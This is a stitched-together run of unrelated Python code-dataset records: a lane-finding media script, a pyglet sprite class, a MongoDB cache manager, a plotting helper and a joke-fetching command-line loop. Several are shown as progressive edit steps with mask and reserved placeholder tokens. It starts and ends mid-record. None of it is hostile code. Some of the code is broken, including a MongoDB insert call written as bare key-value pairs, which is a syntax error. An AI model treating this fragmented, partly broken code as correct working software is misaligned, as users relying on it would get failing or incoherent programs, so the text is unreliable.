DEFAULT_PARAMS.copy() params_1['canny_lo'] = 50 params_1['canny_hi'] = 150 ''' MEDIA GENERATION ''' visualize_pipeline('pipeline.png') images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS) save_images(images_dst, im_files_dst) process_and_save_video(video_files_src[0], video_files_dst[0], COMP_GRAPH, DEFAULT_PARAMS) process_and_save_video(video_files_src[1], video_files_dst[1], COMP_GRAPH, params_1)

flexible

{ "blob_id": "456d79a69c170a59af742648f16e0171cd5a2412", "index": 1412, "step-1": "<mask token>\n\n\ndef create_dir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef get_full_paths_to_files(files_dir, filenames):\n return [os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n images = (mpimg.imread(fname) for fname in im_filenames)\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\n<mask token>\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n runner = CompGraphRunner(cg, frozen_tokens=params)\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef create_dir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef get_full_paths_to_files(files_dir, filenames):\n return [os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n images = (mpimg.imread(fname) for fname in im_filenames)\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\ndef process_and_save_video(video_fname_src, video_fname_dst, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n video_src = VideoFileClip(video_fname_src)\n video_dst = video_src.fl_image(find_and_draw_lanes)\n video_dst.write_videofile(video_fname_dst, audio=False)\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n runner = CompGraphRunner(cg, frozen_tokens=params)\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef create_dir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef get_full_paths_to_files(files_dir, filenames):\n return [os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n images = (mpimg.imread(fname) for fname in im_filenames)\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\ndef process_and_save_video(video_fname_src, video_fname_dst, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n video_src = VideoFileClip(video_fname_src)\n video_dst = video_src.fl_image(find_and_draw_lanes)\n video_dst.write_videofile(video_fname_dst, audio=False)\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n runner = CompGraphRunner(cg, frozen_tokens=params)\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\nif __name__ == '__main__':\n \"\"\" INITIALIZATION \"\"\"\n im_dir_src = 'test_images'\n im_dir_dst = 'test_images_output'\n create_dir(im_dir_dst)\n im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src))\n im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src))\n video_dir_src = 'test_videos'\n video_dir_dst = 'test_videos_output'\n create_dir(video_dir_dst)\n video_files = 'solidWhiteRight.mp4', 'solidYellowLeft.mp4'\n video_files_src = get_full_paths_to_files(video_dir_src, video_files)\n video_files_dst = get_full_paths_to_files(video_dir_dst, video_files)\n params_1 = DEFAULT_PARAMS.copy()\n params_1['canny_lo'] = 50\n params_1['canny_hi'] = 150\n \"\"\" MEDIA GENERATION \"\"\"\n visualize_pipeline('pipeline.png')\n images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS)\n save_images(images_dst, im_files_dst)\n process_and_save_video(video_files_src[0], video_files_dst[0],\n COMP_GRAPH, DEFAULT_PARAMS)\n process_and_save_video(video_files_src[1], video_files_dst[1],\n COMP_GRAPH, params_1)\n", "step-4": "<mask token>\nCOMP_GRAPH = lanespipeline.computational_graph\nDEFAULT_PARAMS = lanespipeline.parameters\n\n\ndef create_dir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef get_full_paths_to_files(files_dir, filenames):\n return [os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n images = (mpimg.imread(fname) for fname in im_filenames)\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\ndef process_and_save_video(video_fname_src, video_fname_dst, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n video_src = VideoFileClip(video_fname_src)\n video_dst = video_src.fl_image(find_and_draw_lanes)\n video_dst.write_videofile(video_fname_dst, audio=False)\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n runner = CompGraphRunner(cg, frozen_tokens=params)\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\nif __name__ == '__main__':\n \"\"\" INITIALIZATION \"\"\"\n im_dir_src = 'test_images'\n im_dir_dst = 'test_images_output'\n create_dir(im_dir_dst)\n im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src))\n im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src))\n video_dir_src = 'test_videos'\n video_dir_dst = 'test_videos_output'\n create_dir(video_dir_dst)\n video_files = 'solidWhiteRight.mp4', 'solidYellowLeft.mp4'\n video_files_src = get_full_paths_to_files(video_dir_src, video_files)\n video_files_dst = get_full_paths_to_files(video_dir_dst, video_files)\n params_1 = DEFAULT_PARAMS.copy()\n params_1['canny_lo'] = 50\n params_1['canny_hi'] = 150\n \"\"\" MEDIA GENERATION \"\"\"\n visualize_pipeline('pipeline.png')\n images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS)\n save_images(images_dst, im_files_dst)\n process_and_save_video(video_files_src[0], video_files_dst[0],\n COMP_GRAPH, DEFAULT_PARAMS)\n process_and_save_video(video_files_src[1], video_files_dst[1],\n COMP_GRAPH, params_1)\n", "step-5": "'''\nGenerate the output images and videos, including rendering of the pipeline\n'''\n\nimport os\nimport matplotlib.image as mpimg\nimport cv2\nfrom moviepy.editor import VideoFileClip\nfrom networkx.drawing.nx_agraph import to_agraph\n\nimport lanespipeline\nimport lanefinder\nfrom compgraph import CompGraph, CompGraphRunner\n\n\nCOMP_GRAPH = lanespipeline.computational_graph\nDEFAULT_PARAMS = lanespipeline.parameters\n\n\ndef create_dir(directory):\n\n if not os.path.exists(directory):\n os.makedirs(directory)\n\ndef get_full_paths_to_files(files_dir, filenames):\n\n return [os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n\n images = (mpimg.imread(fname) for fname in im_filenames)\n\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\ndef process_and_save_video(video_fname_src, video_fname_dst, cg, params):\n\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n\n video_src = VideoFileClip(video_fname_src)\n\n video_dst = video_src.fl_image(find_and_draw_lanes)\n video_dst.write_videofile(video_fname_dst, audio=False)\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n\n runner = CompGraphRunner(cg, frozen_tokens=params)\n\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\nif __name__ == '__main__':\n\n ''' INITIALIZATION '''\n\n im_dir_src = 'test_images'\n im_dir_dst = 'test_images_output'\n create_dir(im_dir_dst)\n\n im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src))\n im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src))\n\n video_dir_src = 'test_videos'\n video_dir_dst = 'test_videos_output'\n create_dir(video_dir_dst)\n\n video_files = ('solidWhiteRight.mp4', 'solidYellowLeft.mp4')\n video_files_src = get_full_paths_to_files(video_dir_src, video_files)\n video_files_dst = get_full_paths_to_files(video_dir_dst, video_files)\n\n params_1 = DEFAULT_PARAMS.copy()\n params_1['canny_lo'] = 50\n params_1['canny_hi'] = 150\n\n ''' MEDIA GENERATION '''\n\n visualize_pipeline('pipeline.png')\n\n images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS)\n save_images(images_dst, im_files_dst)\n\n process_and_save_video(video_files_src[0], video_files_dst[0], COMP_GRAPH, DEFAULT_PARAMS)\n process_and_save_video(video_files_src[1], video_files_dst[1], COMP_GRAPH, params_1)\n", "step-ids": [ 5, 6, 7, 8, 10 ] }

[ 5, 6, 7, 8, 10 ]

<|reserved_special_token_0|> class Fire(pyglet.sprite.Sprite): <|reserved_special_token_0|> <|reserved_special_token_0|> def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation = rotation self.x = x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] - point_2[1]) ** 2) def collides_with(self, other_object): collision_distance = (self.image.width * 0.5 * self.scale + other_object.image.width * 0.5 * other_object.scale) actual_distance = self.distance(self.position, other_object.position) return actual_distance <= collision_distance <|reserved_special_token_1|> <|reserved_special_token_0|> class Fire(pyglet.sprite.Sprite): def __init__(self, *args, **kwargs): super(Fire, self).__init__(*args, img=fireball, **kwargs) self.rotation = 45 self.rotate_speed = 5 self.velocity_x = 5 <|reserved_special_token_0|> def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation = rotation self.x = x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] - point_2[1]) ** 2) def collides_with(self, other_object): collision_distance = (self.image.width * 0.5 * self.scale + other_object.image.width * 0.5 * other_object.scale) actual_distance = self.distance(self.position, other_object.position) return actual_distance <= collision_distance <|reserved_special_token_1|> <|reserved_special_token_0|> class Fire(pyglet.sprite.Sprite): def __init__(self, *args, **kwargs): super(Fire, self).__init__(*args, img=fireball, **kwargs) self.rotation = 45 self.rotate_speed = 5 self.velocity_x = 5 def check_bounds(self): max_x = 1000 + self.image.width / 2 if self.x > max_x: self.x = -self.image.width / 2 def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation = rotation self.x = x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] - point_2[1]) ** 2) def collides_with(self, other_object): collision_distance = (self.image.width * 0.5 * self.scale + other_object.image.width * 0.5 * other_object.scale) actual_distance = self.distance(self.position, other_object.position) return actual_distance <= collision_distance <|reserved_special_token_1|> import pyglet import math from lvl1_resources import fireball class Fire(pyglet.sprite.Sprite): def __init__(self, *args, **kwargs): super(Fire, self).__init__(*args, img=fireball, **kwargs) self.rotation = 45 self.rotate_speed = 5 self.velocity_x = 5 def check_bounds(self): max_x = 1000 + self.image.width / 2 if self.x > max_x: self.x = -self.image.width / 2 def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation = rotation self.x = x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] - point_2[1]) ** 2) def collides_with(self, other_object): collision_distance = (self.image.width * 0.5 * self.scale + other_object.image.width * 0.5 * other_object.scale) actual_distance = self.distance(self.position, other_object.position) return actual_distance <= collision_distance <|reserved_special_token_1|> import pyglet import math from lvl1_resources import fireball class Fire(pyglet.sprite.Sprite): def __init__( self, *args, **kwargs): super(Fire, self).__init__(img= fireball, *args, **kwargs) self.rotation= 45 self.rotate_speed= 5 self.velocity_x= 5 def check_bounds(self): max_x= 1000 + self.image.width/2 if self.x > max_x: self.x= -self.image.width/2 def update(self): self.rotation += self.rotate_speed self.x += self.velocity_x self.check_bounds() def remote_update(self, x, rotation): self.rotation= rotation self.x= x self.check_bounds() def distance(self, point_1=(0, 0), point_2=(0, 0)): """Returns the distance between two points""" return math.sqrt((point_1[0]-point_2[0])**2+(point_1[1]-point_2[1])**2) def collides_with(self, other_object): collision_distance = self.image.width*0.5*self.scale \ + other_object.image.width*0.5*other_object.scale actual_distance = self.distance(self.position, other_object.position) return (actual_distance <= collision_distance)

flexible

{ "blob_id": "cf2bbe332237bd849df62be099f1719eaf1f2082", "index": 1523, "step-1": "<mask token>\n\n\nclass Fire(pyglet.sprite.Sprite):\n <mask token>\n <mask token>\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n", "step-2": "<mask token>\n\n\nclass Fire(pyglet.sprite.Sprite):\n\n def __init__(self, *args, **kwargs):\n super(Fire, self).__init__(*args, img=fireball, **kwargs)\n self.rotation = 45\n self.rotate_speed = 5\n self.velocity_x = 5\n <mask token>\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n", "step-3": "<mask token>\n\n\nclass Fire(pyglet.sprite.Sprite):\n\n def __init__(self, *args, **kwargs):\n super(Fire, self).__init__(*args, img=fireball, **kwargs)\n self.rotation = 45\n self.rotate_speed = 5\n self.velocity_x = 5\n\n def check_bounds(self):\n max_x = 1000 + self.image.width / 2\n if self.x > max_x:\n self.x = -self.image.width / 2\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n", "step-4": "import pyglet\nimport math\nfrom lvl1_resources import fireball\n\n\nclass Fire(pyglet.sprite.Sprite):\n\n def __init__(self, *args, **kwargs):\n super(Fire, self).__init__(*args, img=fireball, **kwargs)\n self.rotation = 45\n self.rotate_speed = 5\n self.velocity_x = 5\n\n def check_bounds(self):\n max_x = 1000 + self.image.width / 2\n if self.x > max_x:\n self.x = -self.image.width / 2\n\n def update(self):\n self.rotation += self.rotate_speed\n self.x += self.velocity_x\n self.check_bounds()\n\n def remote_update(self, x, rotation):\n self.rotation = rotation\n self.x = x\n self.check_bounds()\n\n def distance(self, point_1=(0, 0), point_2=(0, 0)):\n \"\"\"Returns the distance between two points\"\"\"\n return math.sqrt((point_1[0] - point_2[0]) ** 2 + (point_1[1] -\n point_2[1]) ** 2)\n\n def collides_with(self, other_object):\n collision_distance = (self.image.width * 0.5 * self.scale + \n other_object.image.width * 0.5 * other_object.scale)\n actual_distance = self.distance(self.position, other_object.position)\n return actual_distance <= collision_distance\n", "step-5": "import pyglet\nimport math\nfrom lvl1_resources import fireball\n\nclass Fire(pyglet.sprite.Sprite):\n\tdef __init__( self, *args, **kwargs):\n\t\tsuper(Fire, self).__init__(img= fireball, *args, **kwargs)\n\t\tself.rotation= 45\n\t\tself.rotate_speed= 5\n\t\tself.velocity_x= 5\n\n\tdef check_bounds(self):\n\t\tmax_x= 1000 + self.image.width/2\n\t\tif self.x > max_x:\n\t\t\tself.x= -self.image.width/2\n\n\tdef update(self):\n\t\tself.rotation += self.rotate_speed\n\t\tself.x += self.velocity_x\n\t\tself.check_bounds()\n\n\tdef remote_update(self, x, rotation):\n\t\tself.rotation= rotation\n\t\tself.x= x\n\t\tself.check_bounds()\n\n\tdef distance(self, point_1=(0, 0), point_2=(0, 0)):\n\t\t\"\"\"Returns the distance between two points\"\"\"\n\t\treturn math.sqrt((point_1[0]-point_2[0])**2+(point_1[1]-point_2[1])**2)\n\n\tdef collides_with(self, other_object):\n\n\t\tcollision_distance = self.image.width*0.5*self.scale \\\n + other_object.image.width*0.5*other_object.scale\n \n\t\tactual_distance = self.distance(self.position, other_object.position)\n \n\t\treturn (actual_distance <= collision_distance)\n", "step-ids": [ 5, 6, 7, 8, 9 ] }

[ 5, 6, 7, 8, 9 ]

import mysql.connector import hashlib import time from datetime import datetime from datetime import timedelta from pymongo import MongoClient from pymongo import IndexModel, ASCENDING, DESCENDING class MongoManager: def __init__(self, server_ip='localhost', client=None, expires=timedelta(days=30)): """ client: mongo database client expires: timedelta of amount of time before a cache entry is considered expired """ # if a client object is not passed # then try connecting to mongodb at the default localhost port self.client = MongoClient(server_ip, 27017) if client is None else client #create collection to store cached webpages, # which is the equivalent of a table in a relational database self.db = self.client.spider # create index if db is empty if self.db.locations.count() is 0: self.db.mfw.create_index([("url", ASCENDING)]) def query_by_url(self, url): records = self.db.mfw.find({'url':url}) if records: return records else: return None def insert_page(self, url, html): self.db.mfw.insert( 'url': url, 'html':html ) def clear(self): self.db.mfw.drop() if __name__ == '__main__': mongo_mgr = MongoManager()

normal

{ "blob_id": "4cb5dcf0d943ef15421bb6bced65804533d232e3", "index": 4950, "step-1": "import mysql.connector\nimport hashlib\nimport time \nfrom datetime import datetime\nfrom datetime import timedelta\n\nfrom pymongo import MongoClient\nfrom pymongo import IndexModel, ASCENDING, DESCENDING\n\n\nclass MongoManager:\n\n def __init__(self, server_ip='localhost', client=None, expires=timedelta(days=30)):\n \"\"\"\n client: mongo database client\n expires: timedelta of amount of time before a cache entry is considered expired\n \"\"\"\n # if a client object is not passed \n # then try connecting to mongodb at the default localhost port \n self.client = MongoClient(server_ip, 27017) if client is None else client\n #create collection to store cached webpages,\n # which is the equivalent of a table in a relational database\n self.db = self.client.spider\n\n # create index if db is empty\n if self.db.locations.count() is 0:\n self.db.mfw.create_index([(\"url\", ASCENDING)])\n\n def query_by_url(self, url):\n records = self.db.mfw.find({'url':url})\n\n if records:\n return records\n else:\n return None\n\n def insert_page(self, url, html):\n self.db.mfw.insert(\n 'url': url,\n 'html':html\n )\n\n def clear(self):\n self.db.mfw.drop()\n\nif __name__ == '__main__':\n mongo_mgr = MongoManager()", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }

[ 0 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def xyplot(xdata, ydata, title): fname = '/Users/nalmog/Desktop/swa_equipped_cumulative_' + title + '.png' plt.plot(xdata, ydata) plt.ylabel('some numbers') plt.title(title) plt.xlabel('Percent of Fleet') plt.ylabel('Number of Passes') plt.savefig(fname) plt.clf() <|reserved_special_token_1|> import matplotlib.pyplot as plt def xyplot(xdata, ydata, title): fname = '/Users/nalmog/Desktop/swa_equipped_cumulative_' + title + '.png' plt.plot(xdata, ydata) plt.ylabel('some numbers') plt.title(title) plt.xlabel('Percent of Fleet') plt.ylabel('Number of Passes') plt.savefig(fname) plt.clf() <|reserved_special_token_1|> import matplotlib.pyplot as plt def xyplot(xdata,ydata,title): fname = "/Users/nalmog/Desktop/swa_equipped_cumulative_"+title+".png" #plt.figure(figsize=(500,500)) plt.plot(xdata, ydata) plt.ylabel('some numbers') # plt.savefig("/Users/nalmog/Desktop/swa_equipped_cumulative_"+title+".png", format='png') #plt.show() #plt.savefig("/Users/nalmog/Desktop/swa_equipped_cumulative_"+title+".png", format='png') plt.title(title) plt.xlabel("Percent of Fleet") plt.ylabel("Number of Passes") plt.savefig(fname) plt.clf(); #plt.

flexible

{ "blob_id": "10a7c1827abb8a87f5965453aa2d8f5e8b4914e5", "index": 6563, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef xyplot(xdata, ydata, title):\n fname = '/Users/nalmog/Desktop/swa_equipped_cumulative_' + title + '.png'\n plt.plot(xdata, ydata)\n plt.ylabel('some numbers')\n plt.title(title)\n plt.xlabel('Percent of Fleet')\n plt.ylabel('Number of Passes')\n plt.savefig(fname)\n plt.clf()\n", "step-3": "import matplotlib.pyplot as plt\n\n\ndef xyplot(xdata, ydata, title):\n fname = '/Users/nalmog/Desktop/swa_equipped_cumulative_' + title + '.png'\n plt.plot(xdata, ydata)\n plt.ylabel('some numbers')\n plt.title(title)\n plt.xlabel('Percent of Fleet')\n plt.ylabel('Number of Passes')\n plt.savefig(fname)\n plt.clf()\n", "step-4": "import matplotlib.pyplot as plt\n\ndef xyplot(xdata,ydata,title):\n fname = \"/Users/nalmog/Desktop/swa_equipped_cumulative_\"+title+\".png\"\n #plt.figure(figsize=(500,500))\n plt.plot(xdata, ydata)\n plt.ylabel('some numbers') \n# plt.savefig(\"/Users/nalmog/Desktop/swa_equipped_cumulative_\"+title+\".png\", format='png')\n #plt.show()\n #plt.savefig(\"/Users/nalmog/Desktop/swa_equipped_cumulative_\"+title+\".png\", format='png')\n plt.title(title) \n plt.xlabel(\"Percent of Fleet\")\n plt.ylabel(\"Number of Passes\")\n plt.savefig(fname)\n plt.clf();\n #plt.\n\n\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def cmdline(): available_commands = ['help', 'quit', 'echo', 'pbar', 'joke'] keepgoing = True while keepgoing: typed = input("Type something. (Type 'help' for options)") words = [w for w in typed.split(' ')] command = words[0].lower() arguments = words[1:] if command == '': continue if command not in available_commands: print(f'-> {command} is an invalid command. Available commands:', available_commands) continue if command == 'help': print('-> Try out the following commands', available_commands) if command == 'echo': print(f"-> {' '.join(arguments)}") if command == 'pbar': for i in range(21): sys.stdout.write('\r') sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i)) sys.stdout.flush() sleep(0.25) print(' done!') if command == 'joke': import requests joke = requests.get( 'https://official-joke-api.appspot.com/random_joke').json() print(f"-> {joke['setup']}") input('-> (press enter)') print(f"-> {joke['punchline']}") if command == 'quit': keepgoing = False else: print('exiting..') <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def cmdline(): available_commands = ['help', 'quit', 'echo', 'pbar', 'joke'] keepgoing = True while keepgoing: typed = input("Type something. (Type 'help' for options)") words = [w for w in typed.split(' ')] command = words[0].lower() arguments = words[1:] if command == '': continue if command not in available_commands: print(f'-> {command} is an invalid command. Available commands:', available_commands) continue if command == 'help': print('-> Try out the following commands', available_commands) if command == 'echo': print(f"-> {' '.join(arguments)}") if command == 'pbar': for i in range(21): sys.stdout.write('\r') sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i)) sys.stdout.flush() sleep(0.25) print(' done!') if command == 'joke': import requests joke = requests.get( 'https://official-joke-api.appspot.com/random_joke').json() print(f"-> {joke['setup']}") input('-> (press enter)') print(f"-> {joke['punchline']}") if command == 'quit': keepgoing = False else: print('exiting..') if __name__ == '__main__': cmdline() <|reserved_special_token_1|> from time import sleep import sys def cmdline(): available_commands = ['help', 'quit', 'echo', 'pbar', 'joke'] keepgoing = True while keepgoing: typed = input("Type something. (Type 'help' for options)") words = [w for w in typed.split(' ')] command = words[0].lower() arguments = words[1:] if command == '': continue if command not in available_commands: print(f'-> {command} is an invalid command. Available commands:', available_commands) continue if command == 'help': print('-> Try out the following commands', available_commands) if command == 'echo': print(f"-> {' '.join(arguments)}") if command == 'pbar': for i in range(21): sys.stdout.write('\r') sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i)) sys.stdout.flush() sleep(0.25) print(' done!') if command == 'joke': import requests joke = requests.get( 'https://official-joke-api.appspot.com/random_joke').json() print(f"-> {joke['setup']}") input('-> (press enter)') print(f"-> {joke['punchline']}") if command == 'quit': keepgoing = False else: print('exiting..') if __name__ == '__main__': cmdline() <|reserved_special_token_1|> from time import sleep import sys def cmdline(): available_commands = ['help', 'quit', 'echo', 'pbar', 'joke'] keepgoing = True while (keepgoing): typed = input("Type something. (Type 'help' for options)") words = [w for w in typed.split(" ")] command = words[0].lower() arguments = words[1:] if (command == ''): continue if (command not in available_commands): print(f"-> {command} is an invalid command. Available commands:", available_commands) continue if (command == 'help'): print('-> Try out the following commands', available_commands) if (command == 'echo'): print(f'-> {" ".join(arguments)}') if (command == 'pbar'): for i in range(21): sys.stdout.write('\r') # the exact output you're looking for: sys.stdout.write("[%-20s] %d%%" % ('=' * i, 5 * i)) sys.stdout.flush() sleep(0.25) print(' done!') if (command == 'joke'): import requests joke = requests.get("https://official-joke-api.appspot.com/random_joke").json() print(f"-> {joke['setup']}") input("-> (press enter)") print(f"-> {joke['punchline']}") if (command == 'quit'): keepgoing = False else: print("exiting..") if __name__ == "__main__": cmdline()

flexible

{ "blob_id": "a028661f9bcaa6dfe5389cb57f31b07d7e981487", "index": 9890, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef cmdline():\n available_commands = ['help', 'quit', 'echo', 'pbar', 'joke']\n keepgoing = True\n while keepgoing:\n typed = input(\"Type something. (Type 'help' for options)\")\n words = [w for w in typed.split(' ')]\n command = words[0].lower()\n arguments = words[1:]\n if command == '':\n continue\n if command not in available_commands:\n print(f'-> {command} is an invalid command. Available commands:',\n available_commands)\n continue\n if command == 'help':\n print('-> Try out the following commands', available_commands)\n if command == 'echo':\n print(f\"-> {' '.join(arguments)}\")\n if command == 'pbar':\n for i in range(21):\n sys.stdout.write('\\r')\n sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i))\n sys.stdout.flush()\n sleep(0.25)\n print(' done!')\n if command == 'joke':\n import requests\n joke = requests.get(\n 'https://official-joke-api.appspot.com/random_joke').json()\n print(f\"-> {joke['setup']}\")\n input('-> (press enter)')\n print(f\"-> {joke['punchline']}\")\n if command == 'quit':\n keepgoing = False\n else:\n print('exiting..')\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef cmdline():\n available_commands = ['help', 'quit', 'echo', 'pbar', 'joke']\n keepgoing = True\n while keepgoing:\n typed = input(\"Type something. (Type 'help' for options)\")\n words = [w for w in typed.split(' ')]\n command = words[0].lower()\n arguments = words[1:]\n if command == '':\n continue\n if command not in available_commands:\n print(f'-> {command} is an invalid command. Available commands:',\n available_commands)\n continue\n if command == 'help':\n print('-> Try out the following commands', available_commands)\n if command == 'echo':\n print(f\"-> {' '.join(arguments)}\")\n if command == 'pbar':\n for i in range(21):\n sys.stdout.write('\\r')\n sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i))\n sys.stdout.flush()\n sleep(0.25)\n print(' done!')\n if command == 'joke':\n import requests\n joke = requests.get(\n 'https://official-joke-api.appspot.com/random_joke').json()\n print(f\"-> {joke['setup']}\")\n input('-> (press enter)')\n print(f\"-> {joke['punchline']}\")\n if command == 'quit':\n keepgoing = False\n else:\n print('exiting..')\n\n\nif __name__ == '__main__':\n cmdline()\n", "step-4": "from time import sleep\nimport sys\n\n\ndef cmdline():\n available_commands = ['help', 'quit', 'echo', 'pbar', 'joke']\n keepgoing = True\n while keepgoing:\n typed = input(\"Type something. (Type 'help' for options)\")\n words = [w for w in typed.split(' ')]\n command = words[0].lower()\n arguments = words[1:]\n if command == '':\n continue\n if command not in available_commands:\n print(f'-> {command} is an invalid command. Available commands:',\n available_commands)\n continue\n if command == 'help':\n print('-> Try out the following commands', available_commands)\n if command == 'echo':\n print(f\"-> {' '.join(arguments)}\")\n if command == 'pbar':\n for i in range(21):\n sys.stdout.write('\\r')\n sys.stdout.write('[%-20s] %d%%' % ('=' * i, 5 * i))\n sys.stdout.flush()\n sleep(0.25)\n print(' done!')\n if command == 'joke':\n import requests\n joke = requests.get(\n 'https://official-joke-api.appspot.com/random_joke').json()\n print(f\"-> 